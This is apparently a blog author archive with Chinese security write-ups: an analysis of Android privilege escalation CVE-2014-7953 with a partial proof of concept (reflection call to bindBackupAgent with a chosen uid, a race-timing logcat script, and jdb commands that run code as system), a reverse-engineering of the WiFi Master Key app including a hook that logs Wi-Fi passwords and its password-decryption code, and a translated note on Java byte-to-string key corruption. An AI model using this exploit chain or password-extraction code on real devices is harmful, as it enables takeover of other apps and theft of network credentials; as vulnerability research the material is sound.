Author Archives: flanker017

ADB backupAgent 提权漏洞分析 (CVE-2014-7953)

ADB backupAgent 提权漏洞分析 (CVE-2014-7953) 注:该文也已发表在drops.wooyun.org. pdf版可见 http://tool.flanker017.me/papers/cve-2014-7953.pdf

摘要

CVE-2014-7953是存在于android backup agent中的一个提权漏洞。ActivityManagerService中的bindBackupAgent方法未能校验传入的uid参数,结合另外一个race condition利用技巧,攻击者可以以任意uid(应用)身份执行代码,包括system(uid 1000)。本文对该漏洞进行了详细分析,并给出了利用EXP。攻击的前提条件是需要有android.permission.BACKUP和INSTALL_PACKAGES,而adb shell是一个满足条件的attack surface。

背景介绍

BackupService是Android中提供的备份功能,在备份操作中,系统的BackupManager从目标应用获取对方指定的备份数据,然后交给BackupTransport进行数据传输。在恢复备份操作中,BackupManager从Transport中拿回数据并传递给目标应用进行恢复。常见的场景是用户应用的数据备份到Google Cloud,用户在新手机上登录Google账号时数据就被自动恢复回去。

当然想使用备份功能的应用必须实现BackupAgent组件,继承BackupAgent类或者BackupAgentHelper类,并在AndroidManifest.xml中声明自己,还需要向一个BackupService注册。

在BackupManager进行备份或恢复时,其会以目标应用BackupAgent为内容启动目标应用进程,调用其onCreate函数,以方便其进行具体的应用逻辑相关的备份和恢复操作。

漏洞成因

在上文的铺垫之后,我们来看这个漏洞的成因。前面提到BackupAgent会在进行恢复时被调用,具体到ActivityManagerService中的bindBackupAgent函数:

// Cause the target app to be launched if necessary and its backup agent
12819    // instantiated.  The backup agent will invoke backupAgentCreated() on the
12820    // activity manager to announce its creation.
12821    public boolean bindBackupAgent(ApplicationInfo app, int backupMode) {
12822        if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode);
12823        enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent");
12824
12825        synchronized(this) {
/*...*/
12833            // Backup agent is now in use, its package can't be stopped.
12834            try {
12835                AppGlobals.getPackageManager().setPackageStoppedState(
12836                        app.packageName, false, UserHandle.getUserId(app.uid));
12837            } catch (RemoteException e) {
12838            } catch (IllegalArgumentException e) {
12839                Slog.w(TAG, "Failed trying to unstop package "
12840                        + app.packageName + ": " + e);
12841            }
12842
12843            BackupRecord r = new BackupRecord(ss, app, backupMode);
12844            ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL)
12845                    ? new ComponentName(app.packageName, app.backupAgentName)
12846                    : new ComponentName("android", "FullBackupAgent");
12847            // startProcessLocked() returns existing proc's record if it's already running
12848            ProcessRecord proc = startProcessLocked(app.processName, app,
12849                    false, 0, "backup", hostingName, false, false, false);
12850            if (proc == null) {
12851                Slog.e(TAG, "Unable to start backup agent process " + r);
12852                return false;
12853            }
12854
12855            r.app = proc;
12856            mBackupTarget = r;
12857            mBackupAppName = app.packageName;
12858
12859            // Try not to kill the process during backup
12860            updateOomAdjLocked(proc);
12861
12862            // If the process is already attached, schedule the creation of the backup agent now.
12863            // If it is not yet live, this will be done when it attaches to the framework.
12864            if (proc.thread != null) {
12865                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc);
12866                try {
12867                    proc.thread.scheduleCreateBackupAgent(app,
12868                            compatibilityInfoForPackageLocked(app), backupMode);
12869                } catch (RemoteException e) {
12870                    // Will time out on the backup manager side
12871                }
12872            } else {
12873                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach");
12874            }
12875            // Invariants: at this point, the target app process exists and the application
12876            // is either already running or in the process of coming up.  mBackupTarget and
12877            // mBackupAppName describe the app, so that when it binds back to the AM we
12878            // know that it's scheduled for a backup-agent operation.
12879        }
12880
12881        return true;
12882    }

ActivityManagerService对外通过Binder暴露了这个接口,当然开头就要求了调用者必须持有android.permission.BACKUP权限,而shell是持有这个权限的。bindBackupAgent最终会将传入的攻击者可控的ApplicationInfo传递给startProcessLocked,并最终通过scheduleCreateBackupAgent调用其onCreate函数。

而ApplicationInfo中的uid可以被任意指定,这是该漏洞的根本原因。

漏洞利用

但是想要利用这个漏洞还会遇到几个关键的问题,需要通过其他方法来绕过。

setPackageStoppedState的权限检查

从代码中可以看到,在startProcessLocked之前会先调用setPackageStoppedState,将可能正在运行的目标package置Stopped状态。这要求binder调用的发起者持有CHANGE_COMPONENT_ENABLED_STATE权限,否则会抛出SecurityException,终止函数运行。很遗憾这是一个系统用户才持有的权限,shell是没有的,强行调用会抛如下异常:

Screenshot from 2015-04-20 15:50:35

但是可以观察到的是,startPackageStoppedState在抛出IllegalArgumentException时会被catch住,打一个log并继续执行,那么通过PackageManager安装包时的race condition,或者说TOCTOU,可以打一个时间差。

一个猥琐的步骤如下: – 调用pm安装包,在安装过程中某个时刻调用bindBackupAgent。 – startPackageStoppedState时,包并不存在,抛出IllegalArgumentException被catch住并继续执行。 – startProcessRecord时包却已经安装完成了,以攻击者指定的ApplicationInfo启动。

正常的情况下,当包存在时,会是如下时序:

Screenshot 2015-05-02 13.42.23

包不存在时,会是如下时序。此时process可以被创建出来,但会立即死亡因为找不到load的代码。极罕见的情况下可能会停留在FC对话框而可以利用。

Screenshot 2015-05-02 13.44.34

TOCTOU利用时序图如下:

Screenshot 2015-05-02 13.48.38

这里面关键点是打好时间差,例如可以扩大classes.dex的体积,增加dexopt的时间。在N7上测试成功的POC是通过脚本监控logcat中Copying native libraries to,在此刻触发bindBackupAgent调用,基本每次都能成功。

handleCreateBackupAgent的检查

跟一下调用链:

        public final void scheduleCreateBackupAgent(ApplicationInfo app,
658                CompatibilityInfo compatInfo, int backupMode) {
659            CreateBackupAgentData d = new CreateBackupAgentData();
660            d.appInfo = app;
661            d.compatInfo = compatInfo;
662            d.backupMode = backupMode;
663
664            sendMessage(H.CREATE_BACKUP_AGENT, d);
665        }
public void handleMessage(Message msg) {
//omit
                case CREATE_BACKUP_AGENT:
1337                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent");
1338                    handleCreateBackupAgent((CreateBackupAgentData)msg.obj);
1339                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
1340                    break;
//omit
}
// Instantiate a BackupAgent and tell it that it's alive
2428    private void handleCreateBackupAgent(CreateBackupAgentData data) {
2429        if (DEBUG_BACKUP) Slog.v(TAG, "handleCreateBackupAgent: " + data);
2430
2431        // Sanity check the requested target package's uid against ours
2432        try {
2433            PackageInfo requestedPackage = getPackageManager().getPackageInfo(
2434                    data.appInfo.packageName, 0, UserHandle.myUserId());
2435            if (requestedPackage.applicationInfo.uid != Process.myUid()) {
2436                Slog.w(TAG, "Asked to instantiate non-matching package "
2437                        + data.appInfo.packageName);
2438                return;
2439            }
2440        } catch (RemoteException e) {
2441            Slog.e(TAG, "Can't reach package manager", e);
2442            return;
2443        }
//omit
2448        // instantiate the BackupAgent class named in the manifest
2449        LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo);
2450        String packageName = packageInfo.mPackageName;
//omit
2461
2462        BackupAgent agent = null;
2463        String classname = data.appInfo.backupAgentName;
2464
2465        // full backup operation but no app-supplied agent?  use the default implementation
2466        if (classname == null && (data.backupMode == IApplicationThread.BACKUP_MODE_FULL
2467                || data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) {
2468            classname = "android.app.backup.FullBackupAgent";
2469        }
2470
2471        try {![Alt text](./Screenshot from 2015-04-20 15:50:21.png)
2472            IBinder binder = null;
2473            try {
2474                if (DEBUG_BACKUP) Slog.v(TAG, "Initializing agent class " + classname);
2475
2476                java.lang.ClassLoader cl = packageInfo.getClassLoader();
2477                agent = (BackupAgent) cl.loadClass(classname).newInstance();
2478
2479                // set up the agent's context
2480                ContextImpl context = ContextImpl.createAppContext(this, packageInfo);
2481                context.setOuterContext(agent);
2482                agent.attach(context);
2483
2484                agent.onCreate();
2485                binder = agent.onBind();
2486                mBackupAgents.put(packageName, agent);
2487            } catch (Exception e) {
2488                //omit
2496            }
//omit
2508    }
2509

该函数的作用是在Package中寻找定义的BackupAgent类,如果不存在则以android.app.backup.FullBackupAgent代替,并执行其onCreate函数。

如果控制了进程uid为system,在onCreate函数放置我们的代码就万事大吉了。但很遗憾开头就有一个检查,对比当前进程的uid(注意ActivityThread的代码是在被启动package的进程空间内执行的,所以Process.myUid即是目标package的uid)和PackageManager在安装时记录的uid,不符合则log并退出。这就砍掉了改onCreate利用的想法。

但天无绝人之路,jdwp come to rescure. 进程和VM已经起来了,安装包的debuggable flag又是攻击者可指定的,那么jdwp attach上去执行代码,就柳暗花明又一村。

喜闻乐见的shell…吗

顺利的话system身份进程已经启动。 Screenshot from 2015-04-20 15:50:21

如果我们再去打开测试应用,会看到两个不同uid的同package进程并存,如下图: Screenshot from 2015-04-20 20:20:50

这里会有两种情况: – 进程以system的uid启动,但由于没有实例化和调用onCreate,这个进程是个空壳。这是最常见的情况。 – 进程以system的uid启动,出现一个Application Crash时的FC对话框。有意思的是某些罕见情况下直接访问backupAgent接口就会触发该对话框。

对于这两种情况,attach上之后触发的断点也并不一样。对于第一个来说,线程会block在nativePollOnce上,如下图所示: Screenshot from 2015-04-20 22:19:01

这种情况利用的一个关键因素是需要让线程跳出nativePollOnce,也就是说需要让其接收到一个消息,然后才能下断点执行代码, 但诡异之处就在于这时候起的进程是一个空壳,不存在GUI界面,常规的操作触发和intent触发都是没有效果的,这岂不是强人所难?如何跳出这个轮回留给读者做一道思考题。

第二种则会因为异常捕获断在handleApplicationCrash上,这种比较好处理,直接下断点即可。

总之我们利用intellij或者jdb作为载体,通过jdwp即可以system权限或者以其他uid的身份执行代码。

附效果截图:

system: Screenshot from 2015-04-20 21:35:05

当然我们也可以变幻成什么xx卫士啊,xx钱盾,xx付宝之类进程的uid,从而控制这些敏感应用。附xx卫士的截图: Screenshot from 2015-04-20 22:37:34

可以看到我们的应用已经和xx卫士是一个uid同床共枕了,接下来怎么发挥就看诸君想象力了。

部分POC:

myapp:

public class Test {

    public static void main(String []args)
    {
        test(Integer.parseInt(args[0]));
    }
    public static void test(Integer uid)
    {
        try {
            Class ActivityManagerNative = Class.forName("android.app.ActivityManagerNative");
            Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod("getDefault");
            Object iActivityManager = bindBackupAgent.invoke(null);
            Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod("bindBackupAgent", ApplicationInfo.class, int.class);
            ApplicationInfo applicationInfo = new ApplicationInfo();
            applicationInfo.dataDir = "/data/data/com.example.myapp";
            applicationInfo.nativeLibraryDir = "/data/app-lib/com.example.myapp-1";
            applicationInfo.processName = "com.example.myapp";
            applicationInfo.publicSourceDir = "/data/app/com.example.myapp-1.apk";
            applicationInfo.sourceDir = "/data/app/com.example.myapp-1.apk";
            applicationInfo.taskAffinity = "com.example.myapp";
            applicationInfo.packageName = "com.example.myapp";
            applicationInfo.flags = 8961606;
            applicationInfo.uid = uid;
            bindBackupAgentMtd.invoke(iActivityManager, applicationInfo, 0);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}

将其编译为jar并通过app_process执行。注意在myapp没有安装时直接执行会造成后续INSTALL_FAILED_UID_CHANGED错误,具体原因可参照我之前写的denial-of-app分析。

监控py脚本

from subprocess import Popen, PIPE
import os
KW = "Copying native libraries to "
#KW = "dexopt"
os.system("adb logcat -c")
p = Popen(["adb", "logcat"], stdout=PIPE, bufsize=1)
with p.stdout:
    for line in iter(p.stdout.readline, b''):
        if line.find(KW) != -1:
            print line
            os.system("adb shell /data/local/tmp/test.sh 1000")
p.wait()

test.sh

export ANDROID_DATA=/data/local/tmp/
export CLASSPATH=/data/local/tmp/MyTest.jar
app_process /data/local/tmp/ com.example.MyTest $@

jdb命令:

threads
thread 0xxxxxx
suspend
stop in android.os.MessageQueue next
run
print new java.lang.Runtime.exec("id")

修复:

Google对该漏洞的修复非常简单,对bindBackupAgent接口校验了FULL_BACKUP这个system级别的权限,砍掉了最初的入口。

References:

  • http://www.securityfocus.com/archive/1/535296/30/0/threaded
  • http://www.saurik.com/id/17
  • http://androidxref.com/4.4.4_r1/xref/frameworks/base/services/java/com/android/server/am/ActivityManagerService.java#12822
  • http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.2_r1/android/os/MessageQueue.java#MessageQueue.nativePollOnce%28int%2Cint%29

WiFi万能钥匙蹭网原理详细剖析

注:该文最早受乌云编辑约稿,发表在http://drops.wooyun.org/papers/4976

wifi万能钥匙究竟有没有获取root之后偷偷上传密码?

本次测试版本号为3.2.3,首先通过可疑shell语句定位到疑问的问题代码:类名com.snda.wifilocating.f.ba

source_code_decomplied

source_code_decomplied

这段代码的作用是在有了root权限的情况下 将系统的wifi.conf拷贝出来到应用自己的目录,并赋予其全局可读写权限(其实这是个漏洞了…)。

对其做cross-ref查找引用之后可以发现,该函数主要在两个地方被直接调用。一个是com.snda.wifilocating.e.av:

savePrivateApsReq

savePrivateApsReq


这是一个api接口,主要功能是用于用户注册了之后备份自己的ap密码,同时在
cross-refs

cross-refs


WpaConfUploadActivity直接调用、GetBackupActivity中间接调用。第一个Activity在分析的版本中已经被从AndroidManifest中删除,而第二个Activity则是用户备份私有wifi时的对应的界面。这证实了备份的时候密码确实会被上传,而且从下文来看这个密码是完全可逆的。

不过在使用过程中,该应用并没有其他可疑的root行为操作。笔者打开了SuperSu的root执行监控,短暂的使用过程中也只发现了执行了上述的这一条命令。

supersu-monitor

Android系统Wifi连接API概述

Android系统通过WifiManager类来提供对Wifi的扫描、连接接口。应用在请求相应权限之后可以扫描、连接、断开无线等。在连接无线功能中,客户端基本上只要指定SSID,Pre-shared-key(即密码),就可以用代码的方式连接无线。连接一个WPA(2)无线典型代码如下,

wifiConfiguration.SSID = "\"" + networkSSID + "\"";
wifiConfiguration.preSharedKey = "\"" + networkPass + "\"";
wifiConfiguration.hiddenSSID = true;
wifiConfiguration.status = WifiConfiguration.Status.ENABLED;
wifiConfiguration.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.TKIP);
wifiConfiguration.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.CCMP);
wifiConfiguration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.WPA_PSK);
wifiConfiguration.allowedPairwiseCiphers.set(WifiConfiguration.PairwiseCipher.TKIP);
wifiConfiguration.allowedPairwiseCiphers.set(WifiConfiguration.PairwiseCipher.CCMP);
wifiConfiguration.allowedProtocols.set(WifiConfiguration.Protocol.RSN);
wifiConfiguration.allowedProtocols.set(WifiConfiguration.Protocol.WPA);
int res = wifiManager.addNetwork(wifiConfiguration);
Log.d(TAG, "### add Network returned " + res);

wifi万能钥匙是怎么连接上无线的,密码从哪里来?

这也是争议较大的地方,首先该应用肯定是有云端存储了很多密码,因为应用会引导用户备份自己的密码,但这些密码有没有被滥用我们在客户端就不得而知了。在2月底的这次测试中,笔者先私有备份了自己建立的测试无线(注意不是分享),然后使用另外一个手机安装该客户端测试,该客户端的API请求接口并没有返回这个测试的无线的密码。不过这也可能只是个例说明不了什么,还是建议各位自行测试,但注意测试前清除保存的无线并给测试无线设定一个弱密码以免真的泄露了自己的密码。

无线密码获取分析

回到正题,笔者通过代理拦截到了该应用获取wifi密码的请求。应用发送目标的ssid,mac信息向云端做查询,获取到的密码到本地之后并不是明文的,而是一个AES加密。首先为了证明其在本地最终还是会以明文出现,先取了个巧,没有去逆这个算法(虽然逆下也不会很困难),而是直接hook了系统添加无线的代码(回忆上文里密码就在NetworkConfiguration.preSharedKey里)。

部分HOOK代码:

Class wifimgr = XposedHelpers.findClass(
        "android.net.wifi.WifiManager",
        lpparam.classLoader);
XposedBridge.hookAllMethods(wifimgr, "addNetwork",
        new XC_MethodHook() {
            @Override
            protected void beforeHookedMethod(MethodHookParam param)
                    throws Throwable {
                WifiConfiguration configuration = (WifiConfiguration) param.args[0];
                if(configuration.preSharedKey != null)
                {
                    Log.e("FUCKFUCK", "psk: "+configuration.preSharedKey);
                }
            }
        });
XposedBridge.hookAllMethods(wifimgr, "updateNetwork",
        new XC_MethodHook() {
            @Override
            protected void beforeHookedMethod(MethodHookParam param)
                    throws Throwable {
                WifiConfiguration configuration = (WifiConfiguration) param.args[0];
                if(configuration.preSharedKey != null)
                {
                    Log.e("FUCKFUCK", "psk: "+configuration.preSharedKey);
                }
            }
        });
}

这是一个万能钥匙上传wifi ssid以及mac以请求密码的截图:

query_pwd_by_ssid

query_pwd_by_ssid

响应截图:

get_ret_pwd

get_ret_pwd

密码以AES可逆加密的形式通过pwd这个json key传递了回来。

同时,在其尝试通过这个密码连接目标无线的时候,本地hook模块也获取到了真实的明文密码:

hook_pwd_output

hook_pwd_output

个人备份分析

而个人备份模块,也就是直接会读取wifi.conf的模块,是通过findprivateap和saveprivateap这两个json api method进行,具体的http请求逻辑在com.snda.wifilocating.e.av中可以找到,这个类也基本上囊括了所有万能钥匙的api请求逻辑。

备份时的请求:把整个wifi.conf全部上传了上去。

upload_wpa_supplicant_conf

upload_wpa_supplicant_conf

而恢复备份时,只是将密码从云端拖了下来。

其他连接方式分析

除此之外,Wifi万能钥匙还自带了2000条的数据库记录在ap8.db中,记录了常见的弱密码。
weak-pwd-2
例如
weak-pwd-1

这些密码用在所谓的“深度连接”功能中,其实按代码逻辑来看就是一个wifi密码爆破,每次在字典中尝试10个密码。看下logcat就很明显。

I/wpa_supplicant( 884): wlan0: WPA: 4-Way Handshake failed - pre-shared key may be incorrect
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=2 duration=20
D/SupplicantStateTracker( 818): Failed to authenticate, disabling network 1
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-REENABLED id=1 ssid="aaaaaaaaa"
I/wpa_supplicant( 884): wlan0: Trying to associate with 5c:a4:8a:4d:09:a0 (SSID='aaaaaaaaa' freq=2412 MHz)
I/wpa_supplicant( 884): wlan0: Associated with 5c:a4:8a:4d:09:a0
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-DISCONNECTED bssid=5c:a4:8a:4d:09:a0 reason=23
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=1 duration=10
I/wpa_supplicant( 884): wlan0: WPA: 4-Way Handshake failed - pre-shared key may be incorrect
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=2 duration=20
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-REENABLED id=1 ssid="aaaaaaaaa"
I/wpa_supplicant( 884): wlan0: Trying to associate with 5e:aa:aa:aa:aa:aa (SSID='aaaaaaaaa' freq=2462 MHz)
I/wpa_supplicant( 884): wlan0: Associated with 5e:aa:aa:aa:aa:aa
D/dalvikvm(13893): GC_CONCURRENT freed 356K, 4% free 18620K/19220K, paused 9ms+2ms, total 29ms
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-DISCONNECTED bssid=5e:aa:aa:aa:aa:aa reason=23
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=1 duration=10
I/wpa_supplicant( 884): wlan0: WPA: 4-Way Handshake failed - pre-shared key may be incorrect
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=2 duration=20

Wifi密码加解密分析

当然真正去逆向加密代码也不是很困难,简单的搜寻即可得到解密代码:(部分直接从反编译的代码中抠出,风格未做修饰)

public class AESFun {
  String a =//略去;
  String b = //略去;
  String c = //略去;
  Cipher cipher;
  IvParameterSpec spec;
  SecretKeySpec secretKeySpec;
  void init() throws NoSuchAlgorithmException, NoSuchPaddingException {
        spec = new IvParameterSpec(b.getBytes());
        secretKeySpec = new SecretKeySpec(a.getBytes(), "AES");
        cipher = Cipher.getInstance("AES/CBC/NoPadding");
  }
  public final String b(String arg7) throws Exception {
    byte[] array_b1;
    byte[] array_b = null;
    int i = 2;
    String string = null;
    {
        try {
            this.cipher.init(2, secretKeySpec, spec);
            Cipher cipher = this.cipher;
            if(arg7 != null && arg7.length() >= i) {
                int i1 = arg7.length() / 2;
                array_b = new byte[i1];
                int i2;
                for(i2 = 0; i2 < i1; ++i2) {
                    String string1 = arg7.substring(i2 * 2, i2 * 2 + 2);
                    array_b[i2] = ((byte)Integer.parseInt(string1, 0x10));
                }
            }
            array_b1 = cipher.doFinal(array_b);
        }
        catch(Exception exception) {
            StringBuilder stringBuilder = new StringBuilder("[decrypt] ");
            string = exception.getMessage();
            StringBuilder stringBuilder1 = stringBuilder.append(string);
            string = stringBuilder1.toString();
            exception.printStackTrace();
            throw new Exception(string);
        }
        string = new String(array_b1);
    }
    return string;
}

将API请求中获取的16进制pwd字段代入解密程序,得到的结果是如下格式:[length][password][timestamp]的格式,如下图所示,中间就是目标无线明文密码。

decrypted_pwd

decrypted_pwd

此外接口请求中有一个sign字段是加签,事实上是把请求参数合并在一起与预置的key做了个md5,细节就不赘述了。这两个清楚了之后其实完全可以利用这个接口实现一个自己的Wifi钥匙了。

总结

此版本的WiFi万能钥匙不会主动把root之后手机保存的无线密码发向云端但在做备份操作(安装时默认勾选自动备份)时会发送,当有足够的用户使用该应用时,云端就拥有了一个庞大的WiFi数据库,查询WiFi的密码时,应用会发送目标的ssid,mac信息向云端做查询,获取到的密码到本地之后并不是明文的,而是一个AES加密,本地解密后连接目标WiFi。同时内置了常见的2000条WiFi弱口令,在云端没有该WiFi密码的时候,可以尝试爆破目标的密码。

[译]当EFBFBD来敲门 – 对Java中字符串与byte数组转换的观察及相关的安全隐患

当EFBFBD来敲门 – 对Java中字符串与byte数组转换对一个观察及相关的安全隐患

我(指原作者,下文同)正在进行一个激动人心的Android应用安全审计,发现了如此多的漏洞以至于我觉得对于开发来说全部推倒重写都比修掉发现的这么多漏洞省事。正在我洋洋得意的时候,忽然发现在hook的输出中有如下有些奇怪的加密key,喜悦和兴奋变成了疑惑和好奇:

Entryption Key:

EFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD

为什么这个加密密钥有如此多重复的’EFBFBD’字符串模式?难道是subustrate hook代码写错了,还是开发者在生成key的时候犯了错误,还是说这压根是打印错了并不是应用真正用来加密的密钥?

从源代码寻找原因

虽然我并没有这个应用的源代码,但不是可以反编译的嘛。通过包括动态hook和静态阅读混淆过的源代码在内的一系列方法和手段,我们能确认说hook代码并没有错,输出也就是我们想要的加密key. 那么下一步就是需要分析这个奇怪的key的生成方式,隐患也就在这里隐藏着。

出于简便起见,我们编写了一个简单的样例应用来复现这个问题。代码如下:

public static String genKey(){
PBEKeySpec localPBEKeySpec = new PBEKeySpec(
    getPassword().toCharArray(), getSalt(), 20000, 256);
try {
    byte[] theKey =
        SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1")
            .generateSecret(localPBEKeySpec).getEncoded();
    return new String(theKey);
} catch (InvalidKeySpecException e) {
    e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
    e.printStackTrace();
}
return null;
}

你发现问题在哪里了吗?没有的话也不要担心,我们下面会来具体进行分析。

大体上来说,这个函数使用用户的密码派生出一个加密密钥。这个加密密钥用来加密保护所有保存在设备中的该应用私有信息资源。首先这个应用将用户的密码,盐值,迭代次数(这里是20000轮)和想要得到的密钥长度(256bits)一起作为参数创建PBEKeySpec密钥生成器,随后用它生成一个加密密钥并存储到byte数组中。到这里来说一切都还是正常的,但是下一句看似无辜的将byte array转换成String的语句就是真正的罪魁祸首。

我们来在这段代码中插入bytesToHex这样十六进制输出语句,以获得key十六进制的输出并进行前后对比

public static String genKey(){
PBEKeySpec localPBEKeySpec = new PBEKeySpec(
    getPassword().toCharArray(), getSalt(), 20000, 256);
try {
    byte[] theKey =
        SecretKeyFactory.getInstance(“PBKDF2WithHmacSHA1”)
            .generateSecret(localPBEKeySpec).getEncoded();
    Log.i(_TAG, “Key (Before Casting): ” +
        bytesToHex( theKey ) );
    return new String(theKey);
}
..snip..
}
public static void test() {
String theKey = genKey();
Log.i(_TAG, “Key (After Casting): ” +
    bytesToHex(theKey.getBytes()));
}

得到的输出是:转换前

B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3

转换后

EFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD

Android中byte数组到字符串的转换

目前来说我们已经能够确定,这个奇怪的EFBFBD是因为bytearray到string的转换引入的,那EFBFBD究竟是个什么意思?(译者注:其实就是�符号)

根据Android文档,”Android平台默认的编码是UTF-8(注意这和一些旧的编码基于用户地区的系统相反).” 在UTF-8中,’EFBFBD’这个十六进制字符串代表替换字符(replacement character).简单来说,一个替换字符的作用是代替一个未知或无法表示的传入字符(译者注:Unicode字符单字节是0x00-0x7F的范围)。这意味着转换后的String中,每一个EFBFBD序列都对应着原始字符串中的一个无法表示的byte(或者说两个hex position)。为了证实这个想法,我们将转换后的字符串中的EFBFBD做一个替换:

B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3
!!******603466**7B**6C24E2B2AA576A******0C6B********76**********

(注:”!!”是Android在转换时没有包括第一个byte,为了对齐而加上) 这个对比直观地展示了非法的Unicode byte都被星号所代替,也就是EFBFBD的位置。

其他系统中byte数组到字符串的转换

在观察了Android系统中这个并不寻常的行为之后,我们来看看其他平台上的行为。首先看看Windows。

这里要注意的是我们加了一句获取charset的代码,因为根据Java文档:”Java程序中默认字符集在JVM启动的时候设置,一般由操作系统的区域和字符集决定”。

public static String genKey(){
PBEKeySpec localPBEKeySpec = new PBEKeySpec(
    getPassword().toCharArray(), getSalt(), 20000, 256);
try {
    byte[] theKey =
        SecretKeyFactory.getInstance(“PBKDF2WithHmacSHA1”)
            .generateSecret(localPBEKeySpec).getEncoded();
    System.out.println(“Key (Before Casting): ” +
    bytesToHex( theKey ) );
    return new String(theKey);
 }
 ..snip..
 }
 return null;
 }
public static void main(String[] args) {
System.out.println(“Default Charset: ” +
    Charset.defaultCharset().name());
String theKey = genKey();
System.out.println(“Key (After Casting): ” +
bytesToHex(theKey.getBytes()));
}

在Eclipse, Windows 8.1(x64)上运行之后,我们得到了如下的输出:

`\ Default Charset:

windows-1252

Key (Before Casting):

B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3

Key (After Casting):

B7B0F83F603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3 `\

虽然转换前后key看起来基本相同,第四个字节却略有区别。原始字符串中是8D,转换之后变成了3F。这是因为在这次测试中,目标操作系统的字符集是Windows-1252/CP-1252,根据MSDN文档,0x81, 0x8D, 0x8F, 0x90和0x9D是未定义并被Windows保留的。因此String转换发生之后,8D字符就被替换为了3F字符,也就是’?’——问号

其他操作系统结果列举

转换前的key(这个对于每个平台当然都是相同的)

B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3

Android 4.3 Key (转换后):

EFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD

Windows 8.1 (转换后):

B7B0F83F603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3

Ubuntu 12.04 (转换后):

EFBFBDEFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD

Mac OS X 10.10 (转换后):

EFBFBDEFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD

总结

本文分析了加密代码使用中常出现的一种错误转换问题,并指出了这种安全隐患的危害:会导致生成的密钥中出现大量的重复内容,增加了被爆破的风险。譬如说本文中提到的这个测试应用,它使用用户的密码生成一个加密密钥,但因为这个漏洞导致了密钥出现重复单元,降低了信息熵,也就是被爆破的难度。

参考

原文: http://blog.gdssecurity.com/labs/2015/2/18/when-efbfbd-and-friends-come-knocking-observations-of-byte-a.html

  • http://developer.android.com/reference/java/nio/charset/Charset.html
  • http://www.fileformat.info/info/unicode/char/0fffd/index.htm
  • http://docs.oracle.com/javase/7/docs/api/java/nio/charset/Charset.html#defaultCharset()
  • http://en.wikipedia.org/wiki/Windows-1252
  • http://msdn.microsoft.com/en-us/goglobal/cc305145.aspx
  • http://en.wikipedia.org/wiki/UTF-8

Denial of App -PackageManager占位拒绝安装漏洞-Google Bug 13416059 分析:

Denial of App – Google Bug 13416059 分析:
Author: hqdvista,转载注明出处。该文也已发布在drops.wooyun.org.
